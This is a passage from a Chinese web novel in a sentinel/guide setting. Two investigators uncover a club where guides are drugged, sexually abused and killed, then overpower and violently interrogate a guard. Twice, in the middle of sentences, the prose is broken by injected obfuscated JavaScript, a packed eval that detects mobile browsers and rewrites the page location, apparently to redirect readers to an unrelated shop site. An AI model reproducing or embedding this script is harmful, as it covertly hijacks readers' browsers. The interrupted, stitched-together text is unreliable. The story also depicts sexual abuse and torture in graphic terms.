后来,小莱蒂斯还是知道了那奇怪的味道是什么。这一次,她辨明了那冰冷的气息中潜藏的东西。沉重的,腐朽的,平静的,被盛放在木与土中。 休伯特大叔穿着黑西装,所有大人脸上都挂着悲伤。 维克镇的一位老农夫去世了。那是她第一次参加葬礼。 “照例,待会我会监视运输过程。”哨兵随口说道。他摆摆手,转过身离开。莱蒂斯和尼尔森身后的门咔哒一声关上了。 “没事吧?”关门的瞬间,尼尔森转过来拉住她。 他一直降低了精神屏障警戒着,那个哨兵从头到尾只是嫌麻烦,没有怀疑过他们,而莱蒂斯也只是很正常地保持着警觉。 直到那个哨兵打开门,莱蒂斯的情感仿佛凭空裂开了一道深渊。 “能听到我说话吗?莱蒂斯?” 他注意到她已经紧张到了一种极限,想扶住她,却拉不住她下坠的身体。她的感情,混乱得像是无数胡乱堆叠的油彩,最终呈现出混沌的漆黑。她弯下来腰,戴着手套的手隔着防护面罩徒劳地按在嘴部。 尼尔森头一次怀念起向导的情感疏导能力。向导之家的安抚教程他没认真学过,记得的不多,此时只能根据本能捧起莱蒂斯的脸,紧紧盯着莱蒂斯紧缩的瞳孔。 “不管你发现了什么,看着我。”尼尔森说,在防护镜内,他金色的眼睛熠熠生辉。 “看着我,别去想其他任何事。” 呼,吸。呼,吸。 尼尔森身上的气息将莱蒂斯包围起来,她的心跳逐渐平稳。 她放下手,自己找回了站立的力量。 她紧锁着眉,声音紧绷成一条直线:“不……你不知道。这里面有尸体。尼尔森,这个房间里的味道,全是人的尸体的味道。” “……我知道。你别去想了。”尼尔森说。他了解圣卢赛特,也早已注意到这个房间的作用。他没想到酒神节会直接让垃圾工清理尸体,尽管仔细想来,这种会所也的确有财力做到这种事。 “这里太危险了,而且你从来没接触过死人,如果过度的惊恐躯体化了,是会被那些哨兵察觉的。” “我们现在就想办法走。” “……”莱蒂斯闭上了眼睛,不再看尼尔森。 呼吸,呼吸。死者的气味充斥着她的鼻腔。 她既然被委任以这个案子,那就要为死者找到真相。 “不。”于是她说,喉咙里因为反胃而上升的胃酸有种灼烧的疼痛,“不能走。要先看看尸体……身份,死因,状态……我必须弄清楚,为什么会有人死在这里。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13356905|140785||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 伴随着冰柜里腐朽的冷气,他们合力从其中搬出一具尸体。 莱蒂斯在愤怒。 她冷静得很快,这倒让侦探有些佩服。但直面死于非命的尸体时,大起大落的情感几乎是必然的,尼尔森默默拉高了精神屏障。 他完全猜得到,在莱蒂斯看见尸体后,会有岩浆般的愤怒在这个房间里爆发。 那是一个苍白的男人,睫毛和发尖都沾着冰霜。他的身体瘦削,且遍体鳞伤。抓痕,淤青,烫伤,鞭伤,在金属解剖台的衬托下惨不忍睹。 他的下身一片狼藉,手臂上有密集的针孔。后颈有重复咬痕的腺体意味着他是一个向导。如果一个向导频繁被逼入结合热,又频繁被不同哨兵强行结合,那么光是他受到的精神折磨就足以让他崩溃。 何况他身体上还有这么多伤。 为什么,怎么会这样?向导不应该是被哨兵守护的对象吗? 莱蒂斯在乡下长大,觉醒后又没离开过圣所,任凭她再怎么想,也想不明白,为什么会有向导被折磨成这副样子。 尼尔森主动开口,打破沉默:“你听说过‘向导之旅’这个东西吗?” 莱蒂斯将视线从尸体上移开,她的目光如同荒原上遇到陷阱的野兽。 “三件事。”尼尔森没有被吓到,语调没有一点变化,“首先,药很流行,很多人趋之若鹜,但它会导致生理病变,改变神经信号,影响神经递质的释放,最终引起精神崩坏。” “第二,哨兵们感官灵敏,药物对他们的影响和成瘾性都更强。” “第三,向导能转移人精神上的负担和负面影响到自己身上,然后慢慢消解掉。这些负担本质上也是种神经信号。” 莱蒂斯身上的攻击性陡然升高,她开始明白了。 尼尔森接着道: “一开始是谁想到的这个主意,肯定已经没人知道了,但这种产业的起因其实非常简单。” “哨兵想体验药带来的快乐,又不希望精神受到影响,所以逼迫向导将药物成瘾导致的病变的神经信号,从哨兵身上转移到自己身上。” “于是,哨兵获得了快乐。而行走困难,身体发抖,嗜睡,呕吐,认知障碍,判断功能异常,以及致命的药瘾,全都由向导承担。” “之后,他们又发现,除了精神上的好处,他们还可以趁机在这个过程中从向导身上获得身体上的愉悦——就像他们一直在做的那样。” “哨兵们大多具有较高的社会地位,这种能让自己毫无风险又飘飘欲仙的方法迅速发展成产业。然后,有钱的普通人也加入进来,于是这样的场所越来越多。” “这些地方会专门高价雇佣缺钱的哨兵做安保,因为哨兵能迅速定位想要逃跑的向导,把他们抓捕回来。为此,一些哨兵们甚至被配上了军用的半自动机械臂。” “在这些人的说法里,这种过程被称为与向导共同进行的心灵净化之旅,尽管那些向导的精神和身体都饱受折磨。一个向导最多坚持不到一年就会死掉。但没关系,他们可以再找新的向导,更多的向导。” “这就是‘向导之旅’。莱蒂斯。”尼尔森挑起嘴角,连他自己都分不清这是一种嘲讽还是一种无奈,“不过你瞧,至少有一件好事是,我们终于查明白瓦夫.埃蒙和海克.雷德到底在做什么了。” 16. 第十五章 尼尔森问:“现在,你还想找到这两个被分尸的家伙的死因吗?” “……” 阴冷如坟墓的房间里,莱蒂斯一言不发。 她拿出手机,开始拍摄死者的面部和伤口,低着头透过手机屏幕一寸一寸地记下这个陌生向导曾经受过的折磨。 “唉。” 尼尔森靠在墙边,看着莱蒂斯的背影在解剖台的无影灯下移动。防护服遮挡住了她的侧脸,尼尔森看不清她的眼睛。 一旁,并排的巨大冰柜像是古怪的棺椁。 尼尔森说:“你先冷静。” “我很冷静。”莱蒂斯说,“我在取证。布列塔尼部长说过,要及时留下证据。” “取证?你看起来想把整个酒神节里的人都杀了。” 开玩笑的,尼尔森其实根本看不见莱蒂斯的表情。但他的确能感觉到莱蒂斯身上的杀意,它锐利如一把从烈焰一样的盛怒中锻出的长剑。 莱蒂斯的身体顿了一下,她头也不回地说:“有向导死了。而外面的每一个房间里都可能有一个正在受折磨的向导。这难道不是他们应得的吗?” “是。”尼尔森说,“但如果你真的因为冲动和酒神节里的哨兵打起来,那死的只会是你,顺带一个被牵连的我。” “莱蒂斯,外面的那些房间,可不仅有受害的向导。那两扇相邻的门,有一扇是给客户和向导的,另一扇就是给哨兵用来看管向导的。这样,只要旁边的向导一有异动,旁边的哨兵就会发现。 “那里面的哨兵数量可不少。尽管因为军用机械臂的稀有,不是所有哨兵都会配备,但他们也不好对付。” “我知道。”莱蒂斯的身影显得有些僵硬,她咬牙切齿地说,“要是我更强一点……” “这跟强不强没关系。七步之外枪快,七步之内枪又准又快。一个护卫想赤手空拳干翻一群有武器的哨兵本来就是不可能的事情。 “你想做什么呢,莱蒂斯?把这里的向导全都救出去,还是把这里的客人全都干掉?一个小建议——别把不可能的事情当成自己的责任。” “我出去就通知警局,让他们派人来救人。”莱蒂斯说。她真想现在就把证据发送出去,但这个房间里没信号。 “你的确可以这么做,但友情提示:警局要搜查这个地方需要搜查许可。要是硬闯,这里面的哨兵可是能合法反击的。” “……这些照片至少能证明酒神节里有一具惨死的尸体,足够警局申请到搜查许可了。” 多么天真啊。尼尔森于是说:“是啊,申请。连我都知道,搜查许可是要向上级申请的。” “你什么意思。” “能加入这种私人会所的人非富即贵,你觉得他们和警局上级的关系怎么样?” 莱蒂斯语调冰冷:“把话说清楚,尼尔森。” “无论是酒神节会所的经营者,还是其中的客户,他们都有实力直接影响圣卢赛特警局的决策。如你所愿,我就直说了,搜查许可是不可能被批准的。” 尼尔森看着莱蒂斯,金色的眼睛在房间里有些晦暗。 “你要搞清楚,莱蒂斯,你和我都只是自身难保的无名小卒。别想了,端掉酒神节不是你能做到的事情。” “那我们只能眼睁睁看他们继续折磨向导吗!难道我们就什么都不做,谁也不去救,谁也不去惩罚吗!”莱蒂斯一拳锤在金属台上。她提高了尾音,声音颤抖起来,语速也变得更快,好像一根紧绷的线将要断裂。 她反驳不了尼尔森,因为她明白,酒神节能存在,本身就是它被庇护的证据。但她无法忍受—— “你根本不知道,尼尔森,你闻不到!这种味道……一具尸体绝不可能造成这种味道,十具,甚至二十具也都……呜……” 少女的声音因为没有控制住的一声哽咽而戛然而止。 血和肉的味道,病变与腐烂的味道——死亡的味道,它在冰柜的冷气和内部的冰晶里沉淀着,几乎是像诅咒一般萦绕着她。 对普通人来说,这个房间里的空气恐怕只是有些阴森。但莱蒂斯分辨得出来,这里面被冷冻过的尸体的气味,已经快要与她曾去过的牛肉屠宰场同等了。 莱蒂斯的喉咙滚动了一下。 “就连我自己都不知道……到底有多少向导死在这里了……”她呢喃着,怔怔地看着面前的死者。 向导之旅,这个尼尔森告诉她的概念像一把匕首刺入她大脑。她从来没想过世界上会有这样的可怕的事情存在。 一个承担着其他人的药瘾,又同时被当做娼妓使用的向导,他到底会经历什么? 到底有多少向导死在这里了?而在这扇门外,在那天堂一般平和的酒神节地下第三层里,又到底还有多少向导活着在承受这些折磨? 到底又有多少富有的哨兵和普通人在以此为乐? 莱蒂斯的眼睛变得酸涩,进而滚出几滴她极力遏制住的眼泪。在她视线中,死去的向导的模样变得模糊。 受苦难之人应当被拯救。而有罪之人,亦应当有罚。世界之公理本应该如此。 然而垃圾桶里那两个流浪汉的喊声回荡在她耳边: 在圣卢赛特,人人都只是蟑螂。 尼尔森说的是对的。拯救酒神节里的受害者不是她能做到的事情。 尼尔森浸泡在浓重的悲哀和消极之中,精神屏障像是无形的手,为他挡开莱蒂斯情绪的洪流。 你看,他早就说过,莱蒂斯总会意识到,这个案子本就超出她的能力范围。 他只是没想到这小姑娘会因此掉眼泪。 她把头埋得很低,躲开尼尔森的视线。但她的悲伤清澈如同碎裂在地面的水晶,溅开成晶莹的碎片。 尼尔森从来无法理解这种悲伤。曾经他还很强的时候,他总以为自己和那些普通的向导不一样,从没同情过他们。后来他遭了殃,做了囚犯,很难说服完苦役又往脑袋上插电极的经历和向导之旅的受害者们谁更惨。 可现在,他也没有同情的感觉。因为他经历过折磨的精神太过疲惫,余力只够维持自己不在阴影下崩溃。 但也因此,他明白一个道理,只有高尚的心才会为别人的苦痛心碎。 他走过去,之前共鸣造成的影响给他一种他们之间亲密的错觉,让他想摸摸小姑娘的头。 但他只是很有分寸地按住了她颤抖的肩膀。 “这本来就不是你的责任,你的任务是调查谋杀案,而非解救被囚禁的向导。” “虽然你不能救他们,但你并不是没有帮到他们。带着这些照片,平安逃出这里。不要打草惊蛇,把证据交给布列塔尼,这都是你能做的事情。” “救人也好,审判那些客户和看守的哨兵也好,就都交给大人去做吧。” 莱蒂斯沉默了一阵,她在思考尼尔森的话。尼尔森知道她会理解,然后跟他一起离开这里的。 “嗯……你说得对。” 莱蒂斯赞同地说,但她也突然抬起头来,悲伤中闪过一瞬兼具明悟和振奋的情绪。 尼尔森还在扮演通情达理的好人,这下心口一紧,下意识把手也抬了起来。之前莱蒂斯通过气味定位到酒神节的时候,他也感觉到过类似的情感。 妈的,刚刚不是还很顺利吗?他这是又说了什么,让这小姑娘又有追查的灵感了? 偏偏莱蒂斯还转过身来,握住他僵在半空的手,一本正经地点了下头,跟他说: “我懂了,谢谢你,尼尔森。” “你给我等会。”尼尔森反手把她的手也拉住,“你懂什么了?” “这起连环杀人案里,两个受害哨兵都是酒神节的安保人员。他们的职责是看管这里的向导。” “职业是他们唯一的共同点。所以我认为,杀他们的人,动机也是来源于他们的职业。” “''审判这里的客户和哨兵''……那个凶手的目的,可能就是为了审判这些人。即使不是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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莱蒂斯能闻到的尸体的味道,这些客人也可能感知到。倒不是说他们真的在意有向导死了,但这样的气味确实会坏了他们心情。 因此,为了给会员提供最完美的环境,屏蔽室的技术也被用在了这个房间,隔绝掉尸体的味道。 “所以,虽然这里到处都是哨兵,但只要我在这里搞定了那个哨兵,就不会有人发现。”莱蒂斯说。 少女对尼尔森解释了一遍自己的计划。她拿着电锯,墨绿色的眼睛里映着铁片的光 “只不过,这个房间会发生战斗,你只能先靠自己离开酒神节了。还好清洁工一般都会被人忽视,刚刚的哨兵也对我们似乎也不太注意的样子。你现在穿着朗净公司的衣服,哪怕在路上遇上了人,也只要继续走就行了。” “虽然走廊里有很多摄像头,但哨兵大多傲慢,都对自己的感官很有自信,不喜欢随时盯着监控。” “那东西对他们来说只是个参考,大概只有在发现异常之后,才会有人根据监控行动。你一个侦探,本来也有潜入经验,只要没发生意外,你应该能安全出去。” 莱蒂斯像个小大人一样一顿嘱咐,想了想,又拿出手机塞给尼尔森。 “万一我出不来,你就把这个交给布列塔尼部长。” 她说完,似乎对眼前这个“普通人”有些羞愧。 “抱歉,虽然之前说了要保护你,结果还是没能做到。” 尼尔森眯了眯眼睛,接过手机。 干嘛呢,搞得生离死别一样。 那种因为担心莱蒂斯陷入危险而彻骨的恐惧再次爬上他脊椎,但这次他成功压下去了。 唉,没办法,也不能强行把这小姑娘拉走。顺着她来吧。 “行。”尼尔森点头道,“我开门,让负责监视我们运输的那个哨兵进来,然后趁你吸引了他注意力的时候出去就可以了,对吧。” 17. 第十六章 哨兵守在门前,他在等那两个清洁工出来,好监视他们把尸体运到垃圾车里。 他百无聊赖地转动了一下手臂上的装甲,暴躁的念头让枪口转动,又被他压下去了。 真他妈倒霉。 这种活无聊透顶,又浪费时间。为了方便后续销毁尸体,他得在停尸房门口等那两个哑炮普通人磨洋工,把尸体锯成块。 同样都是哨兵,那些有钱的家伙却在房间里享受向导之旅,甚至连不如自己的普通人,都能凭着钱爽上天。 只有自己在看门。 每次想到这里,哨兵就会憋屈。 今天他本来交了好运。他负责看管的那个向导终于快撑不住了,按照传统,这些有钱人玩腻了,就该轮到他们看守了。 他一直在嗑药,纯粹是为了爽,不过最近瘾越来越重,急需一次向导之旅来让自己焕然一新。 虽然是别人用剩下的,就像抽得差不多的烟头,但管他呢。那可是向导之旅,精神和身体的双重愉悦,就算是烟头,那也是钻石黄金做的烟头。 他乐意捡了抽。 最好那个和他一起看管向导的哥们别玩得太过火,要是他还没回去那个向导就被搞死了,那他可就亏大了…… “————” 一阵阴冷的气息从身后而来,打断了哨兵的思绪。 房间的门打开了,冷冻过的尸体的气味渗进走廊,和空气清新剂碰撞在一起,活像地狱的鬼手探进了天堂。 高个子的清洁工站在门边,就是他开的门。 终于搞完了? 哨兵往里面看去,另一个矮子清洁工正拿着电锯站在分尸台前。 哨兵凭借超出常人的视力,一眼看见昏暗的室内,那具尸体还完好无损。 “妈的,这么久了,你们两个狗娘养的是在里面○尸吗?”哨兵发现自己白等了,气得宛如火山爆发,连带手上的机械臂也发出嗡鸣,“一点儿活都没干,你们找死呢?” 他这一吼,把门口的清洁工给吓坏了。哨兵看不见他脸,却能听到他加剧的心跳和急促的呼吸。他连话都说不出来,指了指拿电锯的清洁工,意思是问题出在那家伙,然后闪到了一边。 “你?怎么了?”哨兵走进房间,站在门旁,“有事儿说事儿,老子没空跟你耗。” 房间里的清洁工紧张极了,愣了几秒,然后指着电锯,使劲摇头。 跟我在这演哑剧?哨兵一心只想早点回去找那个向导,清洁工意味不明的举动让他怒火中烧。 “你麻痹的,脑子有问题?”他破口大骂,“让你说话,听不懂吗?那破电锯怎么了吗?” 清洁工缩手缩脚,一副害怕的样子,头摇得比车载娃娃起劲,一个字也说不出。 傻逼。哨兵翻了个白眼,装着机械臂的右手狠狠一握:“说话,你们哑炮是没有觉醒又不是哑巴了。为什么不干活?站那儿干什么?” 清洁工见他这样,向后一退,站到一个冰箱旁边,人都开始发抖了。哨兵能听见这家伙在防护面罩后张着嘴深呼吸。 但丫就是不出声。 这在哨兵眼中,仿佛是一种不服从他的挑衅。 “呵,妈的。” 哨兵的耐心就这么轻易地到了极限。他还等着去享福,哪有时间陪这两个哑炮打哑谜?他两步踏进房间中央,抬起右臂的装甲就对准那个拿电锯的废物。 “说话。”哨兵压低声音说。他可没在开玩笑,冲锋枪的枪口一瞬间就从装甲里翻了出来。反正死人在圣卢赛特就像下雨一样平常,要是这个傻逼再不老老实实说话,他就直接在这里把他打成筛子—— “咔哒。” 回答他的一声突然出现的,微弱的声音。它很轻很轻,几不可闻。 但哨兵反应何其灵敏。他瞬间注意到异常,回身用枪口对准声音来源。 那是关门的声音。 就在刚刚他注意力在矮子身上的时候,停尸房的门已经合拢,门口的高个子清洁工不知所踪。 那家伙趁机跑了?是被吓破了胆,还是有别的目的? 哨兵一时想不明白,但他知道现在值得注意的是拿电锯那个矮子。他一边在心里冷笑,一边踩稳地面,举起机械臂,迅速回身指向目标。 不管他们在耍什么花招,哨兵都可以直接打爆那个清洁工的头了。 然而他刚刚看向门口的举动,终归还是浪费了短暂的一瞬时间。 在他转身的同时,电锯已经启动,巨大响声像是咆哮的怪物,向他冲撞而来。它轰鸣着,顺着他的耳膜一路锯进他脑子里,让他一下子头晕眼花,整个人动作一滞。 妈的。哨兵的瞳孔一缩。 这他妈是故意算计他呢! 面对突发状况,哨兵们第一反应就是解放感官来感知四周环境。 这是为了及时做出最准确的攻击。 所以在停尸房的门被关上的那一刻,酒神节的这个哨兵就已经将五感调整到了极高的敏感度,他打定主意,要把那个房间里的清洁工一枪毙命。 这电锯声趁虚而入,完全就是算好了他会这样做。 什么意思?袭击? 哨兵笑了。这下他明白了,原来关门是为了启动屏蔽室的功能,让一切悄无声息地发生。 正合他意。动静太大吵到客人的话,他可是要扣钱的。 他脑子转得飞快,手里的枪可一点没停,对准了噪音的来源倾泻着子弹,枪口的火花在昏暗的房间里发出刺目的光。 他听得出电锯现在已经躲到了冰箱背后,而且位置也放得很低,尽管电锯声震耳欲聋,也无法影响到他判断。 呵,这些白痴根本想象不到哨兵能做到什么。 哨兵向冰箱冲去,一边用子弹把目标逼停在原地,一边在调整自己的感官。他在脑子里拨开杂音,转而去寻找人类身上那些微弱的声响。 他要找目标呼吸的声音,目标心跳的声音,要找从目标的心脏迸发而出的血液,流动到大脑的声音,那鲜血最终会随着他开枪,从颅骨中喷射而出。 只要被他听见了,他就能一击毙命。 但在迅速排除了干扰后,哨兵才意识到,那台冰柜背后,只是一台被启动的电锯在发出噪音,根本就没有人在。 与此同时,他寻找的心跳,却也如愿被他捕捉到了。 只是,那心跳来自他身后。 下一秒,他被锁死在了原地。 一只的手猛地绕过上他脖颈,大臂和小臂扼住他咽喉两侧,另一只的手肘像锁扣一样夹住了这只手的手腕。对方身材不高,力气却很大,窒息感瞬间涌了上来。 裸绞,这是一种能让人六秒内晕厥的格斗技术。 哨兵颈部两侧血管被压迫,几乎窒息,旧款军用机械臂的枪口太笨重,无法攻击到身后的敌人。 这一切发生在不过十余秒内,他似乎转眼之间就被控制住了。 除了某个刹那转瞬即逝的颤抖,对方根本毫无破绽。 酒神节的门卫却突然咧开嘴笑了。 他的声音里带上了险恶的愉悦。他问:“你看得见它,对吧?” 在他们面前,在尸体的气息和停尸房的阴影里,一只非洲鬣狗低伏着身体,紧盯着二人。 它体表的毛发是肮脏的棕黑色,张开的嘴里却一片鲜红。那下巴活像被一斧子劈开似的大张着,眯起的瞳孔里,纯粹的恶意和危险叫人感到毛骨悚然。 这是能够咬开骨头,以腐肉为食的猛兽,他精神的体现。 无论进化到何种程度,人类从来恐惧这样的动物。 就在刚才,哨兵让自己的精神动物显形时,这个清洁工的身体因为人类的本能,无法控制地颤抖了一下。这反应只有一瞬间,但哨兵注意到了。 哈哈,原来这个躲在防护服里的家伙是个共感者。 要是这家伙能放出精神动物,那早就放了。所以这只是个半残的护卫,一个五感都没有完全觉醒,压根不配有精神动物的废物! 哨兵从喉咙里挤出扭曲的笑声,这家伙死定了。 这个人自以为固定住了他,却也成了鬣狗的靶子。 更何况,破解裸绞对他来说轻而易举! 哨兵毫不犹豫地出手,仗着体型和力量的优势,隔着防护服猛地抓住对方纤细的手腕。 他的身体弓起,用过背摔的姿势将对方整个抡起,借力拆开裸绞,把对方往自己身前的地面摔去。 鬣狗也弹射而出,一跃而起,冲着被抛上半空,失去平衡的目标扑上去。 目标的脖子转瞬陷入满口尖牙,像是被架上一台断头铡。防护服可挡不住猛兽的獠牙,这个护卫会在脖颈被生生咬断的痛苦中悲惨地死去。 浑浊的唾液滴落下来,鬣狗的上下颚狠狠地咬合在了一起! “嗷————” 然后发出惨叫的,却是鬣狗。它像莽足了劲一头撞上了一辆卡车,直接被创到消失了。 与此同时,精神动物的共感传来,一阵震动和嗡鸣从哨兵的牙齿尖直达大脑,直接在他体内上演十级大地震。 哨兵像是个打诈骗电话被发现的倒霉蛋,被倒扣在铁盆里框框一阵乱敲,颅骨里都回荡着响声,脑子快炸了,牙根也疼得像是断掉。 干他妈 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哨兵下意识地惨叫起来,因为角度问题,他的手臂要被扳折了。而对方依然在加重的力道表示,这就是对方的目的。 “混蛋哑炮!老子要把你碎尸万段!” 哨兵躺在地上吼着,用怒骂掩盖了惨叫。 也掩盖了他已经及时用屏障屏蔽掉手臂知觉,已经感觉不到疼痛的事实。 他终于意识到这家伙不简单,甚至会用巴西柔术中的木村锁。 哨兵不得不认真起来。 他知道自己看起来就是个气急败坏,失去理智的失败者。 那个护卫也觉得他没了后手,一心一意地要废了他的右手。 但谁说过他除了手部机械甲之外,就没别的常规武器了? 哨兵被忽视的左手摸上了腰,取出一把没上保险的左轮,等到护卫折断他关节的,最全神贯注的一刻。 “咔。” 电光火石间,他调动五感,举枪对准护卫的脑袋,扣动扳机,一气呵成! “砰———” 左轮的声音在房间里像烟花一样炸开。 骑在哨兵身上的护卫浑身一顿,僵在原地。 硝烟的味道缓缓升起。 护卫的手松开了哨兵折断的右臂。 结束了。 哨兵的脸上浮现出胜利的,嚣张的笑来,然后眼睁睁看见那只手调转了个角度,一拳砸在他下巴上,直接让他脸一歪,人一倒,陷入了尸体一样的深度睡眠。 “……” 莱蒂斯从哨兵身上站起来,背上还全是冷汗。 她是真的没有想到这个哨兵身上还有左轮,一切战术都以废掉他的手部机械甲为目标。 枪响的那一刻,子弹的气流迎面而来,她甚至真的错觉自己已经死了。 然而现在,那颗子弹正嵌在墙里。它只带走了她几缕发丝。 但是,哨兵不可能瞄不准目标。射偏的子弹是只能是因为别的原因。 莱蒂斯抬起头,依然警惕地绷紧了身体。 明明刚刚战胜了敌人,她的目光却并不轻松。 “啪,啪,啪。” 拖沓的掌声响起。 火药和尸体交杂的气味之中,一种熟悉的味道浮现了出来。 “真精彩。说实话,你比我见过的大部分哨兵能打。这可是很高的评价。相信我,我真的见过很多哨兵。” 在她身后,靠门的附近,本该已经出去的尼尔森倚靠在门边,懒洋洋地鼓着掌。 呼吸有些紊乱的少女回过头,皱着眉盯着他。 无论是她还是那个哨兵,都没有察觉到尼尔森的存在。 “尼尔森……?你……我明明看着你走了……” 她的情绪里参杂着矛盾的安心和疑虑,但那种看见尼尔森平安无事的欣慰转瞬就被淹没了。 她严肃地质问: “你为什么还在这里。你到底做了什么?” “我在履行承诺。”尼尔森无辜地回答,“布列塔尼嘱咐过我要保护好你,不能让你受伤。她对手下永远保护过度,几根头发的损失大概就是她能接受的最大限度了。” “果然是因为你他才打偏了……你为什么能影响到他?”莱蒂斯怀疑的情绪像是刀一样抵在尼尔森的精神屏障上,只差一点就会恶化成敌意。 “这个嘛……不重要。等出去再讲给你听吧。”尼尔森笑笑,金色的眼睛如同落日,“毕竟现在,可不是问我问题的好时候啊。” 他走上前去,踢了一脚地上昏死过去的哨兵。 “你该审问的人是他,不是吗?” 18. 第十七章 脖子上的一阵疼痛唤醒了哨兵。 警觉让这位酒神节的看守立刻睁开双眼,并调动全身感官去启动机械臂。然而在他的视线成功聚焦之前,他已经下意识发出凄惨的尖叫: “啊啊啊啊啊啊——————” 他发现自己左右两条手臂都被卸下来了,肘关节,肩关节,腕关节全部脱臼。钻心的疼痛钉在他的神经上,好像有人在用一把砍刀把他当成砧板上的肉一样剁。 哨兵条件反射地挣扎起来。但双手已经彻底废了,双脚似乎也被什么束缚。他没法起身,更没法移动,这使得他挣扎的模样像一只被拔掉翅膀的飞虫一样绝望又笨拙。 “哎,终于可以说这句台词了——” 在他拼命集中注意力竖起精神屏障,阻断手臂的痛觉时,他听见一个愉快的男声说道: “你叫破喉咙也不会有人来救你的。” 哨兵没想叫破喉咙。事实上,他只花了不到五秒就完成了精神屏障的建立,并开始观察现状。 他正躺在那个用于解剖尸体的金属台上,两条手臂关节都被人一节一节拆了,没法驱动机械臂。而他的两只脚踝被一副手铐铐住,现在全身唯一能自由活动的部位是脑袋。 一个冷酷而平板的女声对他说了两个字:“姓名?” 声音来自于他上方,那是两张被防护服遮住的脸。 是那两个混账清洁工,他们一高一矮,一男一女,正站在解剖台旁边。 男人手里拿着手机,正对着他录像。 妈的,这两个婊子养的…… 哨兵怒极反笑,对着摄像头咧开了嘴,然后对那个矮个子的女性——那个把他打昏,又把他手给掰断了矮个子女性——冷笑道: “哦,你……呵呵,好啊!我要把你们两个婊子先○后杀。” 男人乐了:“两个?你爱好还挺广泛。” 女性则不为所动地重复:“姓名。” “姓名?你还有空问老子姓名?”哨兵冷笑道,“老子叫劳瑞!现在,快放了你们劳瑞大爷!我让你们死得痛快点。” “哎呀,这就不劳您费心了。”那个欠揍的男人欠揍地说,“你还是好好回答她的问题吧。其实我也急着走,快问快答对你我都好。” 叫劳瑞的哨兵只觉得对方可笑:“你们真以为自己能活着出去?告诉你们,你们已经是死人了,酒神节的哨兵想杀了你们,比打死只蚊子还要简单!” 男人对此耸了耸肩,那女性却仿佛根本没听见他的威胁,只是换了一个短句,一板一眼地继续审问道:“你来酒神节多久了?” 她似乎既不急切,也不慌张,不理会哨兵的威逼,也不理会同伴的调侃,就好像一台机器,只在乎自己的任务。 “多久了?比你们剩下的命要久!哈,一个护卫而已,跟我装你妈的逼呢?”劳瑞恶狠狠地提高声音,脸上的笑容被他撑得更加扭曲。 “快把老子放了!别以为老子不知道你们是谁。你们以为自己藏得很好吗?两个下等人!告诉你们,哨兵可是能靠气味识别对象的。” 哨兵的身份让劳瑞耀武扬威,又神经质地发出笑声来。 “呵呵呵呵呵,老子已经记住你们的味道了,就算你们跑了,跑到天涯海角,老子也能找到然后杀了呃…!” 他没能把狠话说完,因为那个女护卫打断了他。 当然,这里的打断是指,她一拳头揍在劳瑞鼻子上,直接打断了他的鼻梁。 剧痛直捣哨兵大脑,涓涓鲜血流淌出来,倒灌进他的气管和口腔。 他甚至没来得及发出一声惨叫。 “咳咳咳咳……” 劳瑞仰躺着,动不了,鼻梁完全变形。本能让他想要张嘴大叫,却被自己的血呛得剧烈咳嗽起来,呼吸也变得困难,像个漏气的风箱。 他没想到这女的会真的一点都不忌惮他。 “咳啊,咳咳咳……啊啊……” “正面回答我的问题。”护卫说,她默然地注视着他,连语调都没有变化,“你来酒神节多久了?” “嗬……嗬……我呸!”劳瑞瞪着她,对她吐出一口血来,可惜被她及时地偏头躲开了。 妈的,他怎么可能对一个护卫服软?哨兵颤抖着,两条手臂以古怪的姿势瘫软在金属台上。 他已经屏蔽了痛觉,但每一次呼吸都是血腥味。 不可能,一个没觉醒完的,半残的废物,怎么可能让一个哨兵投降?他要杀了她,杀了她…… 然后这个半残的废物从工具墙上取了把砍刀,抵在了哨兵的四指上。 以她的力气,剁断指骨轻而易举。 转动眼球,劳瑞能看见自己惊恐的瞳孔正反射在刀刃上。 冷漠的声音再次响起,她说:“正面回答我的问题。” “一年!”劳瑞的尖叫冲破了喉咙里的鲜血,声音里带着滑稽的鼻音,“行了,行了,我说了!我只来了一年!” 莱蒂斯得到了答案,却没有把刀收回。 叫醒这个哨兵之前,她以为自己会在这场审讯中怒不可遏,为了那些向导被剥夺的自由,为了那些向导所承受的折磨。 可真的开始问话时,自己却出奇的冷静。 也出奇的漠然。 她知道切下手指和打断鼻梁不同,那是真正不可逆转的损伤。劳瑞会在这种威胁下配合,也正是因为这个。 但莱蒂斯知道,自己这样做,不只是想要威胁,她是真的想要动手。当她看着这个哨兵时,她的内心只有一片空洞的黑暗,一片似乎什么也没有,又似乎滋生着什么的黑暗。 想到那具尸体和那些向导的遭遇,她看眼前这个满脸鲜血,动弹不得的男人,就像看着罪人在首应受的刑罚。 劳瑞痛苦地大口呼吸,莱蒂斯无动于衷。 她问:“有多少向导被囚禁在这里?有多少死了?” “我……我不知道。”劳瑞艰难地抬着头,防止自己被血呛死,“酒神节的看守只和自己负责的向导和对应客户接触,这是……为了客户隐私。” “……你负责过几个?” “三个。有两个死了。”劳瑞迅速回答。他提起死人,就像提起喝光的一瓶酒。 莱蒂斯为此沉默了几秒,而这短暂的沉默不知为何让劳瑞浑身一颤。房间里的黑暗仿佛因为她而凝成实体,碾压过周遭一切。 看似冷静的问话在这黑暗里继续:“十天前,或者十一天前,酒神节发生过什么?” “不……不知道,真的!我不是每天都当班!那些向导不接客的时候,全都因为药物浑浑噩噩,基本是半昏迷的,不用管。” 为了自己的手指,劳瑞做着解释。 “只有客户预约了向导之旅,我才会来酒神节,防止醒过来的向导在接客时逃走。” “海克.雷德和瓦夫.埃蒙,这两个人你们认识吗?” 